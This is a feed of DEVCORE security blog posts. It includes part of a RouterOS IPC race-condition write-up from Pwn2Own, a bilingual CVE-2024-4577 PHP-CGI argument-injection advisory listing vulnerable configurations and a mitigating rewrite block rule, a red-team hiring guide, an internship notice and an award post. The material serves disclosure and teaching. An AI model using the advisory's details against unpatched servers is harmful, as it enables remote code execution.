當一個 remote object 被更新時,有些 process 可能會想要做出對應的行為,所以 nova binary 可以透過 IPC 事先訂閱其他 nova binary 中的 remote object。以 dhcpippool6為例,ippool6中的 handler 1 負責管理 ipv6 address pool,dchp process 會去訂閱 ippool6的 handler 1,所以當 ipv6 address pool 有異動時,dhcp 可以檢查需不需要針對這些異動進行進一步的處理,例如關閉某個 dhcp server。

訂閱的這個行為是透過發送一個指令為 subscribe 的 nova message 給想要訂閱的 binary,當中的 SYS_NOTIFYCMD包含了具體想要被通知的狀況是什麼。

所以在上述情況中,當有另外一個 process 往 ippool6中增加 object 時,handler 1 的 cmdAddObj函式會被執行。

在大部分情況裡,AddObj固定會去呼叫 sendNotifies來通知那些有訂閱 0xfe000b 事件的 subscribers,告訴他們訂閱的物件已被改動,所以 ippool6這裡會送一個 nova message 給 dhcp process,告知物件被改動後的結果。

在理解了訂閱機制之後,我們可以更全面的理解 radvdresolver之間的互動如下:

radvd從 WAN 收到 RA 封包後,它會對每個 IPv6 地址呼叫 roDNS來請 resolver建立相關的 remote object。而 resolver中的 handler 4 會負責處理這個請求,並在 handler 2 中建立對應的 ipv6 object,接著因為 radvd的 handler 1 訂閱了 resovler的 handler 2,所以 resolver的 handler 2 把目前擁有的所有 DNS address 推播給 radvd的 handler 1,接著 handler 1 就依照他收到的 DNS address 構造 RA 封包,之後在 LAN 廣播該封包。

Race Condition 成因

Race condition 的問題實際上出在 roDNS的實作,roDNS中使用 postMessage來發送 nova message,而這個方法是 non-blocking 的,表示 radvd中的 remote object 並不會馬上知道它在 resolver中對應的 id 是什麼。

因此若第二個封包太快到達,以至於 radvd還無從得知 remote object 的 id 是什麼的時候,radvd就沒有辦法第一時間確實的刪除這些物件,只能先將它們標記成 destroyed 進行軟刪除,這就造成了 race condition 的產生。

我們一步一步的分解整個流程:

首先,因為兩個 process 都是 single thread,我們可以假設 radvdresolver兩個 process 現在正在執行他們的第一個 loop。

radvd從 WAN 收到一個只有一個 DNS address 的 RA 時,radvd會向 resolver發送一個創建 remote object 的請求。

resolver在收到第一個請求的同時會設定一個 timer,因爲在 IPC 的機制中,resolver無法知道多少個 AddObj請求屬於同一批,所以它非常簡單的設了一個一次性的 timer,時間到了才送出一次 notification。除此之外,每次 resolver處理完單個創建的請求後應該要回傳一個 nova message 作為 response,通知 radvd剛剛被新增的 remote object 的 id 是多少,而 radvd會透過方才送出請求時一併註冊的一次性 ResponseHandler 來處理這個回應。

但如果第二個 RA 封包太快被送到,以至於 resolver都還沒有把 id 透過 response 送回來時,radvd只能先把舊的 DNS remote object 標記成 destroyed 進行軟刪除。

接著 radvd繼續為收到的第二個 RA 封包中的 RDNSS 欄位建立新的 DNS remote object,但由於 resolver還沒有結束第一個迭代,所以這個新的請求會停留在 socket 裡面等待下一個迭代才處理。

接下來回到 resolver,第一個迭代以回傳 id 給 radvd做收尾,radvd的 ResponseHandler 會根據拿到的 id 去更新 remote object,但由於對應的 remote object 已經被標記成刪除,所以 ResponseHandler 不會去更新 object id,而是直接刪除該 object。

ResponseHandler 在刪除完 radvd中保存的 remote object 之後,會發送一個 delete object 的 message 給 resolver,告知它對應的 remote object 已經不再使用所以要進行刪除,但一樣會先卡在 socket 裡面等待處理

接著 resolver進入了第二次迭代,它會先拿到 socket 中為了第二個 RA 創建 remote object 的請求,為第二個 RA 的 DNS 創建對應的 remote object:

但在接著處理 delete 請求之前,先前設定的 timer 時間到了,所以resolver會呼叫 nv::Handler::sendChanges來通知所有的訂閱者現在 resolver 知道的 DNS 有哪些,因為 object 1 還沒有被刪除,因此 resolver 會把兩次的請求創建的 DNS 通通都推播出去。

radvd 在收到這樣的資訊之後就會馬上構造用來在 LAN 廣播的 RA 封包,此時兩次的請求結果被混在一起了,這也就是為什麼一開始我們的攻擊只會在 MacOS 上成功的原因。雖然這個 race condition 聽起來很難觸發(刪除請求比 timer 先進行處理的話就不會觸發),但這是因為方便解釋,所以整個流程被我們大幅簡化了,實際上只要兩個封包到達的時間間隔夠短這個 race 就一定會成功。

小結

透過上面的分析,我們在 RouterOS 的 remote object 機制中找到了一個 race condition 的 pattern:

  • 在新增/刪除 remote object 時,使用了 non-blocking 的方法
  • 有訂閱 remote object

透過這類型的漏洞,攻擊者可以將兩次請求的結果混合成一個回傳,或許可以作為一個用來繞過某些安全性檢查的手法。如果順利找到可利用的漏洞,我們還可以用來參加 Pwn2Own 當中的 router 類別中的 LAN 項目。

然而最後時間緊迫,我們並沒有透過 race condition 找到可以利用的漏洞。而且禍不單行,在報名準備截止時,我們才發現這幾個月來被我們測試了上百次的 exploit 存在一些問題,就在報名截止的三個小時前像鬼打牆一樣,怎麼打怎麼失敗,簡直就是數位世代的逢魔時刻,我們一直更新 exploit 並且不斷更新準備上交的漏洞白皮書,一直到報名前止的半小時前(凌晨四點截止)才順利完成。

但是非常幸運的,我們在賽中僅嘗試一次就順利的完成了攻擊,成為 Pwn2Own 歷史上第一組完成 SOHO SMASHUP 這個新類別的隊伍:

我們在這個項目中獲得了 10 點 Master of Pwn 點數還有 $100,000 美金的獎金,最終在比賽結算時,DEVCORE 以 18.5 個 Master of Pwn 點數奪下冠軍。

冠軍除了獲得 Master of Pwn 的頭銜、獎杯、外套之外,照慣例,主辦方還會各寄一台我們打下的設備過來。

(我們沒辦法把所有東西都塞進相框裡)

結論

在本次研究中,我們對 RouterOS 進行了深入探討,進而揭露了一個潛藏在 RouterOS 內長達九年的安全漏洞,並成功利用該漏洞在 Pwn2Own Toronto 2022 的賽事中奪下 SOHO SMASHUP 的項目。此外,我們還在 IPC 中發現了一種導致 race condition 的行為模式。最後,我們也將賽事中使用的工具開源於 https://github.com/terrynini/routeros-tools ,供大家參考。

通過本次研究及分享,DEVCORE 希望分享我們的發現和經驗,從而協助白帽駭客深入了解 RouterOS,使之變得更加透明易懂。


Security Alert: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability

$
0
0

English Version, 中文版本

During DEVCORE’s continuous offensive research, our team discovered a remote code execution vulnerability in PHP. Due to the widespread use of the programming language in the web ecosystem and the ease of exploitability, DEVCORE classified its severity as critical, and promptly reported it to the PHP official team. The official team released a patch on 2024/06/06. Please refer to the timeline for disclosure details.

Description

While implementing PHP, the team did not notice the Best-Fit feature of encoding conversion within the Windows operating system. This oversight allows unauthenticated attackers to bypass the previous protection of CVE-2012-1823 by specific character sequences. Arbitrary code can be executed on remote PHP servers through the argument injection attack.

Impact

This vulnerability affects all versions of PHP installed on the Windows operating system. Please refer to the table below for details:

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

Since the branch of PHP 8.0, PHP 7, and PHP 5 are End-of-Life, and are no longer maintained anymore, server admins can refer to the Am I Vulnerable section to find temporary patch recommendations in the Mitigation Measure section.

Am I Vulnerable?

For the usual case of combinations like Apache HTTP Server and PHP, server administrators can use the two methods listed in this article to determine whether their servers are vulnerable or not. It’s notable to address that Scenario-2 is also the default configuration for XAMPP for Windows, so all versions of XAMPP installations on Windows are vulnerable by default.

As of this writing, it has been verified that when the Windows is running in the following locales, an unauthorized attacker can directly execute arbitrary code on the remote server:

  • Traditional Chinese (Code Page 950)
  • Simplified Chinese (Code Page 936)
  • Japanese (Code Page 932)

For Windows running in other locales such as English, Korean, and Western European, due to the wide range of PHP usage scenarios, it is currently not possible to completely enumerate and eliminate all potential exploitation scenarios. Therefore, it is recommended that users conduct a comprehensive asset assessment, verify their usage scenarios, and update PHP to the latest version to ensure security.

Scenario 1: Running PHP under CGI mode

When configuring the Action directive to map corresponding HTTP requests to a PHP-CGI executable binary in Apache HTTP Server, this vulnerability can be exploited directly. Common configurations affected include, but are not limited to:

AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"

Or

<FilesMatch"\.php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"

Scenario 2: Exposing the PHP binary (also the default XAMPP configuration)

Even if PHP is not configured under the CGI mode, merely exposing the PHP executable binary in the CGI directory is affected by this vulnerability, too. Common scenarios include, but are not limited to:

  1. Copying php.exe or php-cgi.exe to the /cgi-bin/ directory.
  2. Exposing the PHP directory via ScriptAlias directive, such as:
    ScriptAlias /php-cgi/ "C:/xampp/php/"

Mitigation Measure

It is strongly recommended that all users upgrade to the latest PHP versions of 8.3.8, 8.2.20, and 8.1.29. For systems that cannot be upgraded, the following instructions can be used to temporarily mitigate the vulnerability.

However, since PHP CGI is an outdated and problematic architecture, it’s still recommended to evaluate the possibility of migrating to a more secure architecture such as Mod-PHP, FastCGI, or PHP-FPM.

1. For users who cannot upgrade PHP:

The following Rewrite Rules can be used to block attacks. Please note that these rules are only a temporary mitigation for Traditional Chinese, Simplified Chinese, and Japanese locales. It is still recommended to update to a patched version or migrate the architecture in practice.

RewriteEngineOnRewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

2. For users who use XAMPP for Windows:

XAMPP has not yet released corresponding update files for this vulnerability at the time of writing this article. If you confirm that you do not need the PHP CGI feature, you can avoid exposure to the vulnerability by modifying the following Apache HTTP Server configuration:

C:/xampp/apache/conf/extra/httpd-xampp.conf

Locating the corresponding lines:

ScriptAlias /php-cgi/ "C:/xampp/php/"

And comment it out:

# ScriptAlias /php-cgi/ "C:/xampp/php/"

Timeline

  • 2024/05/07 - DEVCORE reported this issue through the official PHP vulnerability disclosure page.
  • 2024/05/07 - PHP developers confirmed the vulnerability and emphasized the need for a prompt fix.
  • 2024/05/16 - PHP developers released the first version of the fix and asked for feedback.
  • 2024/05/18 - PHP developers released the second version of the fix and asked for feedback.
  • 2024/05/20 - PHP entered the preparation phase for the new version release.
  • 2024/06/06 - PHP released new versions 8.3.8, 8.2.20, and 8.1.29.

Reference

資安通報:PHP 遠端程式碼執行 (CVE-2024-4577) - PHP CGI 參數注入弱點

$
0
0

English Version, 中文版本

戴夫寇爾研究團隊在進行前瞻攻擊研究期間,發現 PHP 程式語言存在遠端程式碼執行弱點,基於 PHP 在網站生態使用的廣泛性以及此弱點之易重現性,研究團隊將此弱點標記為嚴重、並在第一時間回報給 PHP 官方。官方已在 2024/06/06 發佈修復版本,詳細時程可參閱漏洞回報時間軸

漏洞描述

PHP 程式語言在設計時忽略 Windows 作業系統內部對字元編碼轉換的 Best-Fit特性,導致未認證的攻擊者可透過特定的字元序列繞過舊有 CVE-2012-1823的保護;透過參數注入等攻擊在遠端 PHP 伺服器上執行任意程式碼。

影響範圍

此弱點影響安裝於 Windows 作業系統上所有的 PHP 版本,詳情可參照下表:

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

由於 PHP 8.0 分支、PHP 7 以及 PHP 5 官方已不再維護,網站管理員可參考如何確認自己易遭受攻擊章節,並於修補建議找到暫時緩解措施。

如何確認自己易遭受攻擊?

對於常見之 Apache HTTP Server 加上 PHP 組合,網站管理員可透過此文章列出之兩個方式確認伺服器是否易被攻擊。其中,情境二也是 XAMPP for Windows安裝時的預設設定,因此所有版本的 XAMPP for Windows 安裝也預設受此弱點影響。

在本文撰寫當下已驗證當 Windows 作業系統執行於下列語系時,未授權的攻擊者可直接在遠端伺服器上執行任意程式碼:

  • 繁體中文 (字碼頁 950)
  • 簡體中文 (字碼頁 936)
  • 日文 (字碼頁 932)

對於其它執行在英文、韓文、西歐語系之 Windows 作業系統,由於 PHP 使用情境廣泛、暫無法完全列舉並排除其利用情境,因此還是建議使用者全面盤點資產、確認使用情境並更新 PHP 至最新版本確保萬無一失!

情境一: 將 PHP 設定於 CGI 模式下執行

在 Apache Httpd 設定檔中透過 Action語法將對應的 HTTP 請求交給 PHP-CGI 執行檔處理時,受此弱點影響,常見設定包含但不限於:

AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"

<FilesMatch"\.php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"

情境二: 將 PHP 執行檔暴露在外 (XAMPP 預設安裝設定)

即使未設定 PHP 於 CGI 模式下執行,僅將 PHP 執行檔暴露在 CGI 目錄下也受此弱點影響,常見情況包含但不限於:

  1. php.exephp-cgi.exe複製到 /cgi-bin/目錄中
  2. 將 PHP 安裝目錄透過 ScriptAlias暴露到外,如:
     ScriptAlias /php-cgi/ "C:/xampp/php/"

修補建議

強烈建議所有使用者升級至 PHP 官方最新版本 8.3.88.2.208.1.29,對於無法升級的系統可透過下列方式暫時緩解弱點。

除此之外,由於 PHP CGI 已是一種過時且易於出現問題的架構,也建議評估遷移至較為安全的 Mod-PHP、FastCGI 或是 PHP-FPM 等架構可能性。

1. 對無法更新 PHP 的使用者

可透過下列 Rewrite 規則阻擋攻擊,請注意此份規則只作為繁體中文、簡體中文及日文語系中的暫時性緩解機制,實務上仍建議更新到已修復版本或更改架構。

RewriteEngineOnRewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

2. 對 XAMPP for Windows 使用者

在撰寫本文的當下,XAMPP 尚未針對此漏洞釋出相對應的更新安裝檔,如確認自身的 XAMPP 並無使用到 PHP CGI 之功能,可透過修改下列 Apache Httpd 設定檔以避免暴露在弱點中:

C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相對應的設定行數:

ScriptAlias /php-cgi/ "C:/xampp/php/"

並將其註解:

# ScriptAlias /php-cgi/ "C:/xampp/php/"

漏洞回報時間軸

  • 2024/05/07 - DEVCORE 透過 PHP 官方弱點通報頁面回報此問題。
  • 2024/05/07 - PHP 開發者確認弱點並強調要盡快修復。
  • 2024/05/16 - PHP 開發者釋出第一版修復並尋求建議。
  • 2024/05/18 - PHP 開發者釋出第二版修復並尋求建議。
  • 2024/05/20 - PHP 進入新版本發布準備。
  • 2024/06/06 - PHP 發布新版本 8.3.88.2.208.1.29

參考資料

紅隊演練專家應徵指南

$
0
0

紅隊演練是 DEVCORE 最核心的業務。我們擁有豐富的實戰經驗,並且集結了一群優秀的夥伴共同迎接挑戰。很多技術愛好者希望加入我們,想要了解我們錄取新人所看重的方向。趁著畢業季求職潮,我們特別準備了這份應徵指南,希望幫助有興趣的人了解準備方向,也希望幫助一些剛畢業、不擅長撰寫履歷、不擅長在面試中表達自己的人,補足必要技能以免錯失機會。無論您對紅隊演練專家或滲透測試工程師感興趣,期望可以循著這份指南,成為我們的夥伴。

順帶一提,有一個在學生可能感興趣的資訊:DEVCORE 有研發替代役名額,唯名額有限,推薦您在學期間盡早投遞履歷並詢問替代役狀況。

🚀 DEVCORE 應徵流程

應徵紅隊演練專家、滲透測試工程師都會經歷「書面審查」、「線上測驗」、「面試」三個階段。

📌 書面審查

履歷是這個階段主要評估依據,以下 4 點是我們認為應徵者需要注意的地方:

履歷內容符合職務需求嗎

這個階段最重要的是說服審核者你具備職務需求的能力,所以請盡量在履歷內容附上能幫助別人判斷的佐證資訊。過去有些技術底不錯的同學只單純放了學歷,這樣要讓審核者想找個可以進入下一階段的理由都難,相當可惜。

用一些實例說明吧

實例證明是讓你的履歷脫穎而出的關鍵,具體的數字和事實可以大大增加履歷的說服力,例如能具體說出打過多少場滲透測試,在過程中找了多少漏洞,或在任務中解決了什麼樣的問題,達到什麼效果。這些不僅能表示技術能力,還能顯示你的影響力。

提供有幫助的額外資訊

相關專業證照、參與技術社群、貢獻開源專案等額外資訊都有助於審核者評估。有些人好奇一些非技術等經驗應不應該放在履歷中,我們預設是不會特別參考,但如果你認為這些經驗對未來工作有正面影響,可附上讓審核者評估。

特別希望列出的加分項

下面列出一些非必要但有會很不錯的加分項目,如果有這方面的經歷務必要寫上。同時也列出每個項目中我們看重的特質,如果有其他可以展現這些特質的經歷也歡迎列出來讓審核者知道。

📄 實戰經驗如:CVE、bug bounty
  • 代表您擁有解決未知問題能力。
  • 代表您能看到別人所沒有關注到的細節。
📄 CTF Writeups 或是 Blog
  • 如果在 CTF 比賽有不錯的成績,通常意味著你擁有在短時間內分析歸納重點的能力、也能夠快速找到解決辦法,聯想力創造力可能也不差。
  • 我們希望能了解您如何描述複雜的漏洞,因為在將來的工作中需要將漏洞過程清楚描述並給予建議。
  • 寫 Blog 除了能展現表達和文字能力外,通常也具有持續學習的熱情和樂於分享的特質,符合 DEVCORE 核心價值觀。
📄 CTF 出題經驗
  • 代表平常會持續關注流行的技術、研究語言或框架特性,能注意到一些鮮少人知道的小細節。
  • 說明你除了攻擊,還具備一定程度的開發能力。
  • 為了怕題目被 CTF 玩家惡意破壞,通常出題者也具備高水準的防禦能力。

📌 線上測驗

這個階段的進行方式與一般線上靶機環境如 OSCP、HTB 無異,會分配到一個題組,平均需要解五把 flag。應徵者會有相當足夠的時間進行解題(預設 10 天,視題目會微調),最後交付報告。我們期待從線上測驗中看到應徵者具備下述能力:

  • 偵查:能否透過現有資訊合理推斷背後的架構或寫法。
  • 漏洞挖掘:能否找到題目中設計的漏洞。
  • 應變:碰到特殊的環境可否自行想辦法克服。例如在只有 command injection 且內網有防火牆限制的特殊環境下,怎麼用手邊可利用的資源達成你的目標。

📌 面試

最後的面試階段會全面評估你是否適合這個職位,下述 2 件事情特別想與應徵者分享:

被問倒是正常的

在面試過程中,面試官會從多個角度深入了解應徵者技術的廣度和深度,因此,會被問倒是正常的。請對自己的技術能力有信心,畢竟你已經通過了第二階段的線上測驗。被問到不熟悉的問題時,只要誠實地表達你的思考過程和解決問題的方法即可。我們想要知道思考脈絡,甚至期待你說:我看到 XX 特徵覺得這題可能是 OO 方向解,我會想用什麼關鍵字搜尋找答案。這樣的回答也凸顯了你的判斷力和解決問題的能力。

分享你的 Hack 故事

我們期待在面試中聽你分享過去特別的 Hack 經歷,並且與你討論細節。Hack 的內容不限,例如:

  • 履歷中提到的 CVE、bug bounty
    • 希望是一些特別的情境,如果找到的是常見漏洞如 SQLi 或 XSS,那會希望了解這個漏洞特別在哪?或者是能說出你做了什麼,為什麼你能找到這個漏洞?
  • 在 CTF 比賽中想到的精妙解法
  • 生活中為了達成目標做的 Hack
    • 例如:為了自動化工作流程寫了個小工具;為了租房資訊串了個方便通知系統;想把遊戲每日領取任務自動化。

🚀 自我鍛鍊之路

這一段寫給現在還在準備階段,未來很想要加入資安檢測行業的同學。為了增加自己的實力,在應徵前有下面幾個精進事項可參考,這對在資安領域長遠發展也很有幫助。

📌 補足基礎知識

Web 常見漏洞種類

我們認為 PortSwigger Web Security Academy整理的漏洞經典且完整,加上有 LAB 可以直接練習,適合初學者。這些漏洞是從事資安檢測最基礎的溝通語言,推薦要把教材頁面上所有漏洞練習完,可以從主題頁面看分類會比較清楚。若以紅隊為目標,我們會優先關注能拿 shell 的後端漏洞。 以下提供幾點自我驗證與精進項目:

  • 抽一個漏洞是否可以說出這個漏洞常發生在什麼功能?背後的成因?通常可以怎麼進階利用這個漏洞?
  • 有沒有辦法在黑箱狀態,透過測試辨識出這些漏洞?
  • 在白箱狀態下,知道哪些漏洞要透過搜尋什麼函數找到?
  • 我們在面試中喜歡問各種漏洞怎麼拿 shell 的問題,因為這就是紅隊演練目標的第一步。搜尋 “from XSS to RCE” 這類的關鍵字能找到相當多案例(XSS 可以取代成 SQLi 等漏洞)。

紅隊戰術與技巧

控制一台電腦後,仍需要在內網中擴散完成任務目標。ired.team提供了一本紅隊技巧工具書,推薦閱讀以了解在不同階段有哪些招式可用。對 DEVCORE 而言,我們優先關注「Active Directory & Kerberos Abuse」、「Credential Access & Dumping」、「Lateral Movement」章節下的技能。此外,「Network pivoting & tunneling」的概念和技巧也是我們會關注的能力,ired.team 在這塊著墨較少,這篇文章涵蓋了必要知識和工具可參考。 以終為始學習,希望在練習這些技巧和工具後,能對下面的問題有自己的看法:

如果打下企業一台外網服務,而你的目標是該企業內網網域控制器(情境架構可自行假設):

  • 為了打 AD,你在打下的外網伺服器上會做哪些事情?為什麼?過程中你偏好使用什麼工具?偏好的原因是什麼?
  • 同上,這台伺服器如果有網域帳號你之後會做哪些事情?如果沒有網域帳號呢?
  • 想拿下網域控制器,心中能否馬上跳出五種以上的方法?你會優先嘗試什麼方法?為什麼?
  • 過程中橫向移動偏好使用什麼工具?為什麼?

📌 練習

虛擬靶機練習

除了知識外,也要找一些模擬環境培養手感。知名的 Hack The Box 和 OffSec 都有推出學習路徑和豐富的靶機:

選擇適合自己的平台練習即可。也可以單純打 HTB Labs靶機,練到覺得每次解題目要做的事情都類似,開始覺得題目有套路感就可以了,一些特殊解法在現階段不需糾結。過去有玩 HTB 的實習生在錄取前附上的 Writeups 大概會寫 30~50 台靶機,這個數量級或許可以參考。另外若要練習打網域,最近 GitHub 上有一個 GOAD LAB專案滿值得參考。

如果想考證照,我們有考過覺得對提昇檢測工作能力有幫助的有:

註:以上僅提供已知有幫助的證照,不代表其他證照沒有幫助

實戰練習

最推薦的還是到真實場域來看看。

  • 白箱練習:可以嘗試找你熟悉或喜歡的 GitHub 專案,先看這個專案過去的漏洞,試試看如果自己白箱看有沒有辦法能追到。如果這些有正解的漏洞都能順利找到,接著就開始找一些 Open Source 專案來挖掘 0-day 吧。
  • 黑箱練習:參與 bug bounty 計畫,挑戰真實世界的安全問題。台灣企業的計畫可以參考 HITCON ZeroDay,國外則推薦 HackerOne上面的目標。這些計畫會讓你面對更複雜和多樣的攻擊場景,提升你的實戰能力。

📌 找同伴一起

在資安這條路上,找到志同道合的夥伴一起學習、一起打 CTF、一起挖漏洞絕對比獨自升級來的有效率,下列活動可考慮參加:

  • HITCON Community: 幾乎所有資安社群都會聚集在這個研討會,可以在研討會中找一個適合自己的社群參與。
  • AIS3: 聚集台灣幾乎所有對資安有興趣的在學生。滿有機會在這邊認識志同道合的朋友。
  • 台灣好厲駭 Deep Hacking 讀書會: 全台灣探討資安最深最扎實的讀書會之一,參加絕對可以提昇視野、也能認識各種高手。內容偏 Binary 但目前漸漸在轉型中,希望不分類以挖掘漏洞為主。
  • DEVCORE 實習生計畫: 每年一月中和七月中會招生,如果目的是應徵 DEVCORE,參加計畫問導師應該是最快的。

如果你想知道更多資源,台灣資安 / CTF 學習資源整理整理的資源值得參考。

🚀 小結

本篇指南分成兩部分:前半部主要在給應徵者一些小提醒,希望應徵者能把最好的一面呈現出來。後半部提供一個學習的脈絡,希望給還在學習階段的人一個比較清楚的方向。

最終,我們都希望台灣有越來越多熱愛技術的人進入資安產業。希望,未來能持續在資安領域看見正在閱讀的你。

DEVCORE 2024 第六屆實習生計畫

$
0
0

DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第五屆實習生計畫也將於今年 7 月底告一段落。我們很榮幸地宣佈,第六屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!

實習內容

本次實習分為 Research 及 Red Team 兩個組別,主要內容如下:

  • Research (Binary/Web) 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及撰寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 60 %
    • 1-day 開發 (Exploitation) 30 %
    • 成果報告與準備 10 %
  • Red Team 研究並深入學習紅隊常用技巧,熟悉實戰中會遇到的情境、語言與架構。了解常見漏洞的成因、實際利用方法、嚴苛條件下的利用策略、黑箱測試方式及各種奇技淫巧。學習後滲透時的常見限制、工具概念與原理。
    • 漏洞與技巧的研究及深入學習 70 %
    • Lab 建置或 Bug Bounty 或漏洞挖掘 30 %

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2024 年 9 月開始到 2025 年 1 月底,共 5 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
      • 如果居住雙北外可彈性調整(但須每個組別統一)
    • 其餘時間皆為遠端作業

招募對象

  • 具有一定程度資安背景的學生,且可每週工作兩天
  • 此外並無其他招募限制,歷屆實習生可重複應徵
  • 對資格有任何疑慮,歡迎來信詢問

預計招收名額

  • Research 組:2~3 人
  • Red Team 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Research (Binary/Web)

  • 基本漏洞利用及挖掘能力
  • 具備研究熱誠,習慣了解技術本質
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題
  • 具備獨立分析開放原始碼專案的能力,能透過分析程式碼理解目標專案的架構
  • 熟悉並理解常見的漏洞成因
    • OWASP Web Top 10
    • Memory Corruption
    • Race Condition
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 有公開的技術 blog/slide、write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 熟悉任一種網頁程式語言或框架(如:PHP、ASP.NET、Express.js),具備可以建立完整網頁服務的能力
    • 理解 PortSwigger Web Security Academy中的安全議題
    • 獨立挖掘過 0-day 漏洞,或分析過 1-day 的經驗
    • 具備下列其中之一經驗
      • Web Application Exploit
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Red Team

  • 熟悉 OWASP Web Top 10
  • 理解 PortSwigger Web Security Academy中所有的安全議題或已完成所有 Lab
  • 理解計算機網路的基本概念
  • 熟悉任一種網頁程式開發方式(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache、Tomcat、IIS)及作業系統(如:Linux、Windows)的能力
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞
    • 曾經獨立分析過已知漏洞並能撰寫 1-day Exploit
    • 曾經於 CTF 比賽中擔任出題者並建置過題目
    • 擁有 OSCP 證照或同等能力之證照

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷內容
  • 簡答題答案
    • 應徵 Research 實習生:
      • 題目一:漏洞重現與分析過程
        • 請提出一個,你印象最深刻或感到有趣、於西元 2022 ~ 2024 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解詳述說明漏洞的成因、利用條件和可以造成的影響。同時,嘗試描述如何復現此漏洞或攻擊鏈,即使無法成功復現,也請記錄研究過程。報告撰寫請參考範本,盡可能詳細,中英不限。
      • 題目二:實習期間想要研究的主題
        • 請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如:
          • 研究◯◯開源軟體,找到可 RCE 的重大風險弱點。
          • 研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。
          • 研究常見的筆記平台或軟體,目標包括:XX Note、YY Note。
    • 應徵 Red Team 實習生:
      • 請提出兩個於西元 2022 ~ 2024 年間公開的、與 Web 攻擊面、漏洞或攻擊鏈相關的演講。請說明為什麼挑選這些演講並解釋它們為什麼有趣。用你的話詳細解釋這些演講的細節,並提供任何你覺得可以輔助或證明你理解的附加資料。這些演講可以來自包含但不限於 Black Hat、DEF CON、OffensiveCon、POC、ZeroConf、Hexacon、HITCON、TROOPERS CONFERENCE 等會議。

本階段收件截止時間為 2024/08/09 23:59,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在 10 個工作天內回覆。

第二階段:面試

此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

時間軸

  • 2024/07/18 - 2024/08/09 公開招募
  • 2024/08/12 - 2024/08/22 面試
  • 2024/08/26 前回應結果
  • 2024/09/02 第六屆實習計畫於當週開始

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 recruiting_intern@devco.re
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2024/08/09 23:59前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Red Team 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • MBTI 職業性格測試結果(測試網頁

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

MSRC 2024 Most Valuable Security Researchers - Angelboy

$
0
0

We’re thrilled to announce that Angelboy, senior security researcher at DEVCORE, is named one of Microsoft’s MSRC 2024 Most Valuable Security Researchers! He not only secured the #33 spot on the overall list but also achieved the #9 position in the Windows category.

This is the first time Angelboy has been shortlisted on this annual leaderboard, and he is also the highest-ranked Taiwanese security researcher featured. This prestigious accomplishment highlights his exceptional expertise and significant contributions to the field.

The Microsoft Security Response Center (MSRC) has long recognized the efforts of security researchers who partner with Microsoft in reporting vulnerabilities through its Microsoft Researcher Recognition Program (MRRR). The program expresses gratitude for their contributions to the security of Microsoft’s global customers and products.

The MSRC 2024 Most Valuable Security Researchers list, announced on August 7th, is based on the total number of points the researchers earned for each valid report from July 2023 to June 2024. Angelboy secured the #33 spots on the leaderboard. Specifically, his dedicated passion for Windows Kernel research earned him a #9 ranking in the Windows category, placing him in the TOP 10. He was also awarded “Accuracy” and “Volume” badges, further highlighting his significant contributions to vulnerability research.

References:

